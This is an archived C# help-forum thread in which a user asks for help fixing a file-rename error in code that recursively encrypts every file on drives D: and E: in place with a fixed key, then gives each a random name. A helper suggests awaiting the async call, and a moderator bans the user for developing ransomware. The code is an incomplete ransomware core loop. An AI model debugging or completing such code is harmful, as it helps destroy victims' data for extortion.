C
C#•2y ago
c0nstant

Cannot access file because it's being used by another process

I am getting the following error when I try to run my program: System.IO.IOException: 'The process cannot access the file because it is being used by another process.' I googled around and most suggestions want you to close the file stream when you are done with a file however the files that I am triyng to rename don't have a close method. Here is my code:
var output = @"E:\demo.txt";
var ext = RandomStringNS(12) + " - REST Database";
Microsoft.VisualBasic.FileIO.FileSystem.RenameFile(output, ext);
var output = @"E:\demo.txt";
var ext = RandomStringNS(12) + " - REST Database";
Microsoft.VisualBasic.FileIO.FileSystem.RenameFile(output, ext);
So when I run this on a directory, it works on the first and sometimes the second file until something gets in the way. So what I need to do is force my program to rename files. Any solutions to this?
5 Replies
Rist
Rist•2y ago
You sure you're not reading the files you just renamed while iterating over the directory? And that you don't have any files open in another program?
c0nstant
c0nstantOP•2y ago
I am iterating through two my of disks and then backing up all files:
string[] diskList = {"D:\\", "E:\\"};
foreach (string item in diskList)
{
string[] files = EnumerateFilesRecursive(item).ToArray();
foreach (string file in files)
{
var key = "my weak password";
var output = file;
Console.WriteLine(FileEncryptor.EncryptAsync(file, file, key));

var ext = RandomStringNS(12) + " - REST Database";
Microsoft.VisualBasic.FileIO.FileSystem.RenameFile(output, ext);

}
}
string[] diskList = {"D:\\", "E:\\"};
foreach (string item in diskList)
{
string[] files = EnumerateFilesRecursive(item).ToArray();
foreach (string file in files)
{
var key = "my weak password";
var output = file;
Console.WriteLine(FileEncryptor.EncryptAsync(file, file, key));

var ext = RandomStringNS(12) + " - REST Database";
Microsoft.VisualBasic.FileIO.FileSystem.RenameFile(output, ext);

}
}
The encrypt method here does have Close(); implemented like at the end of it, I found the implementation from here so I just added close methods at the end of the method: https://stackoverflow.com/questions/17627326/aes-256-file-encryption-c-sharp I was thinking that maybe the Microsoft's RenameFile method has a close option or maybe it opens the file and then I can close it somehow
Rist
Rist•2y ago
You're not awaiting it though and it's async
c0nstant
c0nstantOP•2y ago
Yes, it is, so what should I do here? Yeah, kind of... šŸ˜› but no serriously, how do I do this? I will come back with a solution then 😦
Scratch
Scratch•2y ago
!ban 899204088112230421 developing ransomware

Did you find this page helpful?